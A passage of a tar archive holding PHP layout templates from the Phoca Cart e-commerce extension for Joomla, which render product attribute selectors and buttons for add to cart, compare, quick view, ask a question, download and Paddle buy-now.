* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$v = $d['attribute'];
$attributeIdName =
'V'.$d['typeview'].'P'.(int)$d['product_id'].'A'.(int)$v->id;
$productIdName =
'V'.$d['typeview'].'P'.(int)$d['product_id'];
$iconType = $d['s']['i']['icon-type'];
$price = new PhocacartPrice();
$attr = array();
$attr[] =
'id="phItemAttribute'.$attributeIdName.'"';//
ID
$attr[] = 'class="form-control chosen-select
ph-item-input-set-attributes phj'. $d['typeview'].'
phjProductAttribute"';// CLASS
$attr[] = $d['required']['attribute'];
$attr[] =
'name="attribute['.(int)$v->id.']"';
$attr[] = 'data-product-id="'.
$d['product_id'].'"';// Product ID
$attr[] = 'data-product-id-name="'.
$productIdName.'"';// Product ID - Unique name between
different views
$attr[] = 'data-attribute-type="'.
$v->type.'"';// Type of attribute (select, checkbox,
color, image)
$attr[] = 'data-attribute-id-name="'.
$attributeIdName.'"';// Attribute ID - Unique name between
different views and products
$attr[] = 'data-type-view="'.
$d['typeview'].'"';// In which view are attributes
displayed: Category, Items, Item, Quick Item
$attr[] = 'data-type-icon="'.
$iconType.'"';// Which icons are used on the site (Bootstrap
Glyphicons | Font Awesome | ...)
$attr[] =
'data-required="'.$d['required']['required'].'"';
$attr[] =
'data-alias="'.htmlspecialchars($v->alias).'"';
echo '<div
id="phItemBoxAttribute'.$attributeIdName.'">';
echo '<select '.implode(' ',
$attr).'>';
if ((int)$d['required']['required'] == 1 &&
(int)$d['remove_select_option_attribute'] == 1) {
// If the attribute is requried, there cannot be select option in select
box (to select no value)
// this is not a problem for "add to cart" button as it just
checks for the selected options
// but for ajaxes like chaning price or stock in item view, this is why
this option is not displayed when attribute required
} else {
echo '<option value="">'.
JText::_('COM_PHOCACART_SELECT_OPTION').'</option>';
}
foreach ($v->options as $k2 => $v2) {
if($v2->operator == '=') {
$operator = '';
} else {
$operator = $v2->operator;
}
$amount = $d['price']->getPriceFormat($v2->amount);
// Switch large image
$attrO = '';
if ($d['dynamic_change_image'] == 1) {
if ($d['image_size'] == 'large' &&
isset($v2->image) && $v2->image != '') {
$imageO = PhocacartImage::getThumbnailName($d['pathitem'],
$v2->image, $d['image_size']);
} else if ($d['image_size'] == 'medium' &&
isset($v2->image) && $v2->image != '') {
$imageO = PhocacartImage::getThumbnailName($d['pathitem'],
$v2->image, $d['image_size']);
}
if (isset($imageO->rel) && $imageO->rel != '') {
$linkO = JURI::base(true).'/'.$imageO->rel;
if (JFile::exists($imageO->abs)) {
$attrO .=
'data-image-option="'.htmlspecialchars($linkO).'"';
}
}
}
// SELECTBOX COLOR
if ($v->type == 2 && isset($v2->color) &&
$v2->color != '') {
$attrO .= '
data-color="'.strip_tags($v2->color).'"';
}
// SELECTBOX IMAGE
if ($v->type == 3 && isset($v2->image_small) &&
$v2->image_small != '') {
$linkI =
JURI::base(true).'/'.$d['pathitem']['orig_rel'].'/'.$v2->image_small;
$attrO .= '
data-image="'.strip_tags($linkI).'"';
}
// SELECTED SOME VALUE?
if ($v2->default_value == 1) {
$attrO .= ' selected="seleced"';
}
$suffix = ' ('.$operator.' '.$amount.')';
if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 0 &&
$price->roundPrice($v2->amount) < 0.01 &&
$price->roundPrice($v2->amount) > -0.01) {
$suffix = '';
} else if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 2) {
$suffix = '';// hide always
}
echo '<option '.$attrO.'
value="'.$v2->id.'"
data-value-alias="'.htmlspecialchars($v2->alias).'">'.htmlspecialchars($v2->title).$suffix.'</option>';
}
echo '</select>';// end select box
echo '</div>';// end attribute
echo '<div
id="phItemHiddenAttribute'.$attributeIdName.'"
style="display:none;"></div>';
?>
attribute_options_text.php000064400000011410151165411770012104
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see
LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\HTML\HTMLHelper;
defined('_JEXEC') or die();
$d = $displayData;
$displayData = null;
$v = $d['attribute'];
$attributeIdName = 'V' . $d['typeview'] . 'P'
. (int)$d['product_id'] . 'A' . (int)$v->id;
$productIdName = 'V' . $d['typeview'] . 'P'
. (int)$d['product_id'];
$iconType =
$d['s']['i']['icon-type'];
$price = new PhocacartPrice();
$attr = array();
$attr[] = 'id="phItemAttribute' . $attributeIdName .
'"';// ID
$attr[] = 'class="ph-checkbox-attribute
ph-item-input-set-attributes phj' . $d['typeview'] . '
phjProductAttribute ' . $d['required']['class'] .
'"';// CLASS
$attr[] = 'data-product-id="' . $d['product_id'] .
'"';// Product ID
$attr[] = 'data-product-id-name="' . $productIdName .
'"';// Product ID - Unique name between different views
$attr[] = 'data-attribute-type="' . $v->type .
'"';// Type of attribute (select, checkbox, color, image)
$attr[] = 'data-attribute-id-name="' . $attributeIdName .
'"';// Attribute ID - Unique name between different views
and products
$attr[] = 'data-type-view="' . $d['typeview'] .
'"';// In which view are attributes displayed: Category,
Items, Item, Quick Item
$attr[] = 'data-type-icon="' . $iconType .
'"';// Which icons are used on the site (Bootstrap
Glyphicons | Font Awesome | ...)
echo '<div id="phItemBoxAttribute' . $attributeIdName .
'">';
echo '<div ' . implode(' ', $attr) .
'>';
// CHECKBOX COLOR CHECKBOX IMAGE
/*if ($v->type == 5 || $v->type == 6) {
echo '<div class="ph-item-input-checkbox-color"
data-toggle="buttons">';
}*/
foreach ($v->options as $k2 => $v2) {
// Extends required part for some specific parameters
$req = PhocacartRenderJs::renderRequiredParts((int)$v->id,
(int)$v2->required );
$d['required'] = $req;
if ($v2->operator == '=') {
$operator = '';
} else {
$operator = $v2->operator;
}
$amount = $d['price']->getPriceFormat($v2->amount);
// SET SOME VALUE?
$active = '';
if ($v2->default_value == 1) {
$active = ' active';
}
$suffix = ' (' . $operator . ' ' . $amount .
')';
if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 0 &&
$price->roundPrice($v2->amount) < 0.01 &&
$price->roundPrice($v2->amount) > -0.01) {
$suffix = '';
} else if (isset($d['zero_attribute_price']) &&
$d['zero_attribute_price'] == 2) {
$suffix = '';// hide always
}
$maxLength = ' maxlength="' .
PhocacartAttribute::getAttributeLength($v->type) . '"';
echo '<div class="'.
$d['s']['c']['row'].'
ph-gift-box-form">';
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'"><label
class="' . $d['s']['c']['btn'] .
' phTextAttributeInput ' . $active . '"
style="background-color: ' . strip_tags($v2->color) .
'">' . htmlspecialchars($v2->title) . $suffix .
$d['required']['span'] .
'</label></div>';
echo '<div
class="'.$d['s']['c']['col.xs12.sm6.md6'].'">';
switch ($v->type) {
case 10:
case 11:
case 23: // GIFT SENDER MESSAGE
echo '<textarea class="ph-attribute-textarea"
name="attribute[' . $v->id . '][' . $v2->id .
']" ' . $d['required']['attribute'] .
$maxLength . '></textarea>';
break;
case 12:
HTMLHelper::_('jquery.framework');
HTMLHelper::_('script',
'media/com_phocacart/js/jcp/picker.js', array('version'
=> 'auto'));
HTMLHelper::_('stylesheet',
'media/com_phocacart/js/jcp/picker.css',
array('version' => 'auto'));
$idA = 'phColorText';
$idAC = $idA.'PickerName'. $v->id . 'Id'.
$v2->id;
echo '<span class="input-append">';
echo '<input type="text" id="' .
$idAC . '" name="attribute[' . $v->id .
'][' . $v2->id . ']" value="" ' .
$d['required']['attribute'] . $maxLength . '
class="text_area phColorText" />';
echo ' <a href="javascript:void(0);"
role="button" class="btn btn-primary
'.$idA.'PickerButton" onclick="openPicker(\''
. $idAC . '\');">';
echo '<span class="icon-list
icon-white"></span> ';
echo JText::_('COM_PHOCACART_FORM_SELECT_COLOR') .
'</a>';
echo '</span>';
break;
default:
echo '<input type="text"
name="attribute[' . $v->id . '][' . $v2->id .
']" value="" ' .
$d['required']['attribute'] . $maxLength . '
/>';
break;
}
echo '</div>';
echo '</div>';
}
echo '</div>';// end attribute box
echo '</div>';// end attribute
?>
button_add_to_cart_icon.php000064400000003046151165411770012136
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
// Add to Cart Form needs to be loaded in default view
//echo $layoutPFS->render($dF);// Start Form
//echo $layoutPFE->render();// End Form
if ($d['selectoptions'] == 1) {
// ICON ATTRIBUTE REQUIRED AND ATTRIBUTES NOT DISPLAYED - so we should
redirect to detail view
echo '<div
class="ph-category-item-addtocart">';
echo '<a href="'.$d['link'].'"
title="'. JText::_('COM_PHOCACART_CHOOSE_VARIANT') /*
JText::_('COM_PHOCACART_SELECT_OPTIONS') */.'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>';
echo '</a>';
echo '</div>';
} else {
// ICON ATTRIBUTE IS REQUIRED/IS NOT REQUIRED BUT ATTRIBUTES ARE LISTED IN
CATEGROY/TEMS VIEW
$onClick =
'onclick="jQuery(\'#phCartAddToCartButton'.(int)$d['id'].'\').find(\':submit\').click();return
false;"';
echo '<div class="ph-category-item-addtocart
phProductAddToCartIcon'.$d['typeview'].(int)$d['id'].'
'.$d['class_icon'].'"><a
href="javascript:void(0);" '.$onClick.'
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>';
echo '</a>';
echo '</div>';
}
button_add_to_cart_item.php000064400000004240151165411770012141
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="<?php echo
$d['s']['c']['pull-right'] ?> <?php
echo $d['s']['c']['form-group'] ?>
ph-item-add-to-cart-box">
<input type="hidden" name="id" value="<?php
echo (int)$d['id']; ?>">
<input type="hidden" name="catid"
value="<?php echo (int)$d['catid']; ?>">
<input type="hidden" name="task"
value="checkout.add">
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['return']; ?>" />
<div class="<?php echo
$d['s']['c']['form-group'] ?>
ph-form-quantity phProductAddToCart<?php echo $d['typeview'].
(int)$d['id'] .' '.$d['class_btn'];
?>">
<label><?php echo JText::_('COM_PHOCACART_QTY'); ?>:
</label>
<input class="<?php echo
$d['s']['c']['form-control'] ?>
ph-input-quantity" type="text" name="quantity"
value="1" />
</div>
<div class="<?php echo
$d['s']['c']['form-group'] ?>
ph-form-button"><?php
if ($d['addtocart'] == 1) {
?><button type="submit" class="<?php echo
$d['s']['c']['btn.btn-primary'] ?> ph-btn
phProductAddToCart<?php echo $d['typeview'] .
(int)$d['id'] .' '.$d['class_btn'];
?>"><span class="<?php echo
$d['s']['i']['shopping-cart']
?>"></span> <?php echo
JText::_('COM_PHOCACART_ADD_TO_CART');
?></button><?php
} else if ($d['addtocart'] == 4) {
?><button type="submit" class="<?php echo
$d['s']['c']['btn.btn-primary'] ?> ph-btn
phProductAddToCart<?php echo $d['typeview'].
(int)$d['id'] .' '.$d['class_btn'];
?>" title="<?php echo
JText::_('COM_PHOCACART_ADD_TO_CART'); ?>"><span
class="<?php echo
$d['s']['i']['shopping-cart']
?>"></span></button><?php
} ?>
<?php /* <input type="submit" value="submit"
name="submit" role="button" /> */ ?>
</div>
<div class="ph-cb"></div>
<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token'); ?>
</div>
button_add_to_cart_list.php000064400000015553151165411770012167
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
// Be aware when overwriting this layout
// There are different combinations of buttons
// ATTRIBUTE REQUIRED/ATTRIBUTE NOT REQUIRED - BUTTON/ICON - STANDARD/AJAX
// THIS LAYOUT can be display twice for item - first for ICON, second for
BUTTON - so only ICON have ID to run AJAX, etc.
if ($d['selectoptions'] == 1) {
// ATTRIBUTE REQUIRED - One of the attributes is required, cannot add to
cart when we don't display attributes in category/items view
echo '<div
class="'.$d['s']['c']['pull-right'].'">';
if ($d['addtocart'] == 1) {
echo '<a href="'.$d['link'].'"
class="'.$d['s']['c']['btn.btn-primary.btn-sm'].'
ph-btn
phProductAddToCart'.$d['typeview'].$d['id'].'
'.$d['class_btn'].'"
role="button">';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>
';
echo JText::_('COM_PHOCACART_CHOOSE_VARIANT'); //
JText::_('COM_PHOCACART_SELECT_OPTIONS');
echo '</a>';
} else if ($d['addtocart'] == 4) {
echo '<a href="'.$d['link'].'"
class="'.$d['s']['c']['btn.btn-primary.btn-sm'].'
ph-btn
phProductAddToCart'.$d['typeview'].$d['id'].'
'.$d['class_btn'].'" role="button"
title="'.JText::_('COM_PHOCACART_CHOOSE_VARIANT') /*
JText::_('COM_PHOCACART_SELECT_OPTIONS') */.'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>';
echo '</a>';
}
echo '</div>';
echo '<div class="ph-cb"></div>';
} else {
echo '<div
class="'.$d['s']['c']['pull-right'].'">';
// BUTTON ATTRIBUTE NOT REQUIRED OR REQUIRED BUT we list the attributes in
category/items view so we can submit
$onClick = '';
if ($d['addtocart'] == 1) { // Standard
echo '<button type="submit"
class="'.$d['s']['c']['btn.btn-primary.btn-sm'].'
ph-btn
phProductAddToCart'.$d['typeview'].$d['id'].'
'.$d['class_btn'].'"
'.$onClick.'>';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>
';
echo JText::_('COM_PHOCACART_ADD_TO_CART');
echo '</button>';
} else if ($d['addtocart'] == 4) { // Icon Only
echo '<button type="submit"
class="'.$d['s']['c']['btn.btn-primary.btn-sm'].'
ph-btn
phProductAddToCart'.$d['typeview'].$d['id'].'
'.$d['class_btn'].'"
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top"
'.$onClick.'>';
echo '<span
class="'.$d['s']['i']['shopping-cart'].'"></span>';
echo '</button>';
}
echo '</div>';// pull right
echo '<div class="ph-cb"></div>';
}
/*
if ($d['icon'] == 1) {
// ICON ATTRIBUTE NOT REQUIRED
if ($d['method'] == 0) {
// STANDARD (add to cart method)
$onClick =
'onclick="document.getElementById(\'phCartAddToCartButton'.(int)$d['id'].'\').submit();"';
} else {
// AJAX (add to cart method)
$onClick =
'onclick="phEventClickFormAddToCart(\'phCartAddToCartButton'.(int)$d['id'].'\');"';
}
echo '<div class="ph-category-item-addtocart"><a
href="javascript:void(0);" '.$onClick.'
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>';
echo '</a>';
echo '</div>';
} else {
*/
/*
if ($d['attrrequired'] == 1) {
// ATTRIBUTE REQUIRED - One of the attributes is required, cannot add to
cart
echo '<div class="ph-pull-right">';
if ($d['icon'] == 1) {
// ICON - ATTRIBUTE REQUIRED
echo '<div
class="ph-category-item-addtocart">';
echo '<a href="'.$d['link'].'"
title="'.
JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>';
echo '</a>';
echo '</div>';
} else {
// BUTTON - ATTRIBUTE REQUIRED
if ($d['addtocart'] == 1) {
echo '<a href="'.$d['link'].'"
class="btn btn-primary btn-sm ph-btn btn-small"
role="button">';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>
';
echo JText::_('COM_PHOCACART_ADD_TO_CART');
echo '</a>';
} else if ($d['addtocart'] == 4) {
echo '<a href="'.$d['link'].'"
class="btn btn-primary btn-sm ph-btn btn-small"
role="button"
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>';
echo '</a>';
}
}
echo '</div>';
} else { */
// ATTRIBUTE NOT REQUIRED
/* if ($d['icon'] == 1) {
// If icon then we need ID of form to run it per jquery
echo '<form class="phItemCartBoxForm"
id="phCartAddToCartIcon'.(int)$d['id'].'"
action="'.$d['linkch'].'"
method="post">';
} else {
// If button then we need ID of form to run it per jquery like by icon -
because of loaded items per ajax
echo '<form class="phItemCartBoxForm"
id="phCartAddToCartButton'.(int)$d['id'].'"
action="'.$d['linkch'].'"
method="post">';
}*/
/* echo '<div class="ph-pull-right">';
if ($d['icon'] == 1) {
// ICON ATTRIBUTE NOT REQUIRED
if ($d['method'] == 0) {
// STANDARD (add to cart method)
$onClick =
'onclick="document.getElementById(\'phCartAddToCartButton'.(int)$d['id'].'\').submit();"';
} else {
// AJAX (add to cart method)
$onClick =
'onclick="phEventClickFormAddToCart(\'phCartAddToCartButton'.(int)$d['id'].'\');"';
}
echo '<div class="ph-category-item-addtocart"><a
href="javascript:void(0);" '.$onClick.'
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top">';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>';
echo '</a>';
echo '</div>';
} else {
// BUTTON ATTRIBUTE NOT REQUIRED
if ($d['method'] == 0) {
// STANDARD (add to cart method)
$onClick = '';
} else {
// AJAX (add to cart method)
$onClick =
'onclick="phEventClickFormAddToCart(\'phCartAddToCartButton'.(int)$d['id'].'\');event.preventDefault();return
false;"';
}
if ($d['addtocart'] == 1) {
echo '<button type="submit" class="btn
btn-primary btn-sm ph-btn btn-small"
'.$onClick.'>';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>
';
echo JText::_('COM_PHOCACART_ADD_TO_CART');
echo '</button>';
} else if ($d['addtocart'] == 4) {
echo '<button type="submit" class="btn
btn-primary btn-sm ph-btn btn-small"
title="'.JText::_('COM_PHOCACART_ADD_TO_CART').'"
data-toggle="tooltip" data-placement="top"
'.$onClick.'>';
echo '<span
class="'.PhocacartRenderIcon::getClass('shopping-cart').'"></span>';
echo '</button>';
}
}
echo '</div>';// pull right
echo '<div class="clearfix"></div>';*/
//}
?>
button_ask_question.php000064400000003256151165411770011373
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if ($d['popup'] == 2) { ?>
<div class="<?php echo
$d['s']['c']['pull-right'];?>">
<a href="javascript:void(0)"
data-toggle="modal" data-id="phAskAQuestionPopup"
data-src="<?php echo $d['link'] ?>"
class="<?php echo
$d['s']['c']['btn.btn-default.btn-sm'];?>
ph-btn phModalContainerButton" role="button"
title="<?php echo
JText::_('COM_PHOCACART_ASK_A_QUESTION'); ?>"
data-toggle="tooltip" data-placement="top"><span
class="<?php echo
$d['s']['i']['question-sign']
?>"></span> <?php echo
JText::_('COM_PHOCACART_ASK_A_QUESTION'); ?></a>
</div>
<?php } else if ($d['popup'] == 1) { ?>
<div class="<?php echo
$d['s']['c']['pull-right'];?>">
<a href="<?php echo $d['link']; ?>"
class="<?php echo
$d['s']['c']['btn.btn-default.btn-sm'];?>
ph-btn" role="button" onclick="phWindowPopup(this.href,
'phWindowPopup', 2.5, 1.2);return false;"><span
class="<?php echo
$d['s']['i']['question-sign']
?>"></span> <?php echo
JText::_('COM_PHOCACART_ASK_A_QUESTION'); ?></a>
</div>
<?php } else { ?>
<div class="<?php echo
$d['s']['c']['pull-right'];?>">
<a href="<?php echo $d['link']; ?>"
class="<?php echo
$d['s']['c']['btn.btn-default.btn-sm'];?>
ph-btn" role="button"><span class="<?php echo
$d['s']['i']['question-sign']
?>"></span> <?php echo
JText::_('COM_PHOCACART_ASK_A_QUESTION'); ?></a>
</div>
<?php }
button_buy_now_paddle.php000064400000001577151165411770011665
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$document = JFactory::getDocument();
$document->addScript('https://paddle.s3.amazonaws.com/checkout/checkout.js');
?>
<div class="<?php echo
$d['s']['c']['pull-right'];?>
ph-item-buy-now-box">
<button type="submit" class="<?php echo
$d['s']['c']['btn.btn-primary'];?> ph-btn
paddle_button" data-product="<?php echo
$d['external_id']; ?>"
data-theme="green"><span class="<?php echo
$d['s']['i']['shopping-cart'];
?>"></span> <?php echo
JText::_('COM_PHOCACART_BUY_NOW'); ?></button>
</div>
<div class="ph-cb"></div>
button_category_view.php000064400000002026151165411770011527
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
echo '<div
class="'.$d['s']['c']['pull-right'].'">';
if ($d['display_view_category_button'] == 1) {
echo '<a href="'.$d['link'].'"
class="'.$d['s']['c']['btn.btn-primary'].'"
role="button">';
echo '<span
class="'.$d['s']['i']['view-category'].'"></span>
';
echo
JText::_('COM_PHOCACART_VIEW_CATEGORY').'</a>';
} else if ($d['display_view_category_button'] == 2) {
echo '<a href="'.$d['link'].'"
class="'.$d['s']['c']['btn.btn-primary'].'"
role="button"
title="'.JText::_('COM_PHOCACART_VIEW_CATEGORY').'">';
echo '<span
class="'.$d['s']['i']['view-category'].'"></span></a>';
}
echo '</div>';
echo '<div class="ph-cb"></div>';
?>
button_compare.php000064400000003437151165411770010315 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<div class="ph-category-item-compare">
<form action="<?php echo $d['linkc'];
?>" method="post" id="phCompare<?php echo
(int)$d['id']; ?>"
class="phItemCompareBoxForm">
<input type="hidden" name="id"
value="<?php echo (int)$d['id']; ?>" />
<input type="hidden" name="catid"
value="<?php echo (int)$d['catid']; ?>" />
<input type="hidden" name="task"
value="comparison.add" />
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['return']; ?>" />
<?php if (isset($d['method']) &&
(int)$d['method'] > 0) { ?>
<a href="javascript:void(0)"
onclick="phItemCompareBoxFormAjax('phCompare<?php echo
(int)$d['id']; ?>');" title="<?php echo
JText::_('COM_PHOCACART_COMPARE'); ?>"><span
class="<?php echo
$d['s']['i']['compare']
?>"></span></a>
<?php } else { ?>
<a href="javascript:void(0)"
onclick="document.getElementById('phCompare<?php echo
(int)$d['id']; ?>').submit();" title="<?php
echo JText::_('COM_PHOCACART_COMPARE'); ?>"><span
class="<?php echo
$d['s']['i']['compare']
?>"></span></a>
<?php } ?>
<?php echo
Joomla\CMS\HTML\HTMLHelper::_('form.token'); ?>
</form>
</div>
</div>
button_external_link.php000064400000001436151165411770011523
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$text = ' ';
if ($d['external_text'] != '') {
$text = $d['external_text'];
}
?>
<div class="<?php echo
$d['s']['c']['pull-right']; ?>
ph-item-buy-now-box">
<a class="<?php echo
$d['s']['c']['btn.btn-primary.btn-sm']; ?>
ph-btn" href="<?php echo $d['external_link'];
?>" target="_blank"><span class="<?php echo
$d['s']['i']['ext-link']
?>"></span> <?php echo JText::_($text);
?></a>
</div>
<div class="ph-cb"></div>
button_product_view.php000064400000002077151165411770011400
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="<?php echo
$d['s']['c']['pull-left']; ?>">
<?php
if ($d['display_view_product_button'] == 1) {
?><a href="<?php echo $d['link']; ?>"
class="<?php echo
$d['s']['c']['btn.btn-primary.btn-sm']; ?>
ph-btn" role="button"><span class="<?php echo
$d['s']['i']['view-product']
?>"></span> <?php echo
JText::_('COM_PHOCACART_VIEW_PRODUCT'); ?></a><?php
} else if ($d['display_view_product_button'] == 2) {
?><a href="<?php echo $d['link']; ?>"
class="<?php echo
$d['s']['c']['btn.btn-primary.btn-sm']; ?>
ph-btn" role="button" title="<?php echo
JText::_('COM_PHOCACART_VIEW_PRODUCT'); ?>"><span
class="<?php echo
$d['s']['i']['view-product']
?>"></span></a><?php
} ?>
</div>
<?php
button_public_download.php000064400000002504151165411770012026
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<form action="<?php echo $d['linkdownload'];
?>" method="post" id="phPublicDownload<?php echo
(int)$d['id']; ?>"
class="phItemPublicDownloadBoxForm">
<input type="hidden" name="id" value="<?php
echo (int)$d['id']; ?>" />
<input type="hidden" name="task"
value="download.downloadpublic" />
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['return']; ?>" />
<div class="ph-pull-right">
<div class="ph-category-item-public-download">
<button type="submit" class="<?php echo
$d['s']['c']['btn.btn-primary'] ?>
ph-btn"><span class="<?php echo
$d['s']['i']['download']
?>"></span><?php
if ($d['title'] != '') {
echo ' '. $d['title'];
} else {
echo ' '. JText::_('COM_PHOCACART_DOWNLOAD');
}
?></button>
</div>
</div>
<div class="ph-cb"></div>
<?php echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
?>
</form>
button_quickview.php000064400000003740151165411770010673 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div class="<?php echo
$d['s']['c']['pull-right'] ?>">
<?php echo isset($d['button']) &&
$d['button'] == 1 ? '' : '<div
class="ph-category-item-quickview">'; ?>
<form action="<?php echo $d['linkqvb'];
?>" method="post" id="phQuickView<?php echo
(int)$d['id']; ?>"
class="phItemQuickViewBoxForm">
<input type="hidden" name="id"
value="<?php echo (int)$d['id']; ?>" />
<input type="hidden" name="catid"
value="<?php echo (int)$d['catid']; ?>" />
<input type="hidden" name="tmpl"
value="component" />
<input type="hidden" name="option"
value="com_phocacart" />
<input type="hidden" name="return"
value="<?php echo $d['return']; ?>" />
<?php if (isset($d['button']) &&
$d['button'] == 1) { ?>
<a href="javascript:void(0)"
onclick="phItemQuickViewBoxFormAjax('phQuickView<?php echo
(int)$d['id']; ?>');" class="<?php echo
$d['s']['c']['btn.btn-primary.btn-sm']; ?>
ph-btn" role="button"><span class="<?php echo
$d['s']['i']['quick-view']
?>"></span> <?php echo
JText::_('COM_PHOCACART_QUICK_VIEW'); ?></a>
<?php } else { ?>
<a href="javascript:void(0)"
onclick="phItemQuickViewBoxFormAjax('phQuickView<?php echo
(int)$d['id']; ?>');" title="<?php echo
JText::_('COM_PHOCACART_QUICK_VIEW'); ?>"
data-toggle="tooltip" data-placement="top"><span
class="<?php echo
$d['s']['i']['quick-view']
?>"></span></a>
<?php } ?>
<?php echo
Joomla\CMS\HTML\HTMLHelper::_('form.token'); ?>
</form>
<?php echo isset($d['button']) &&
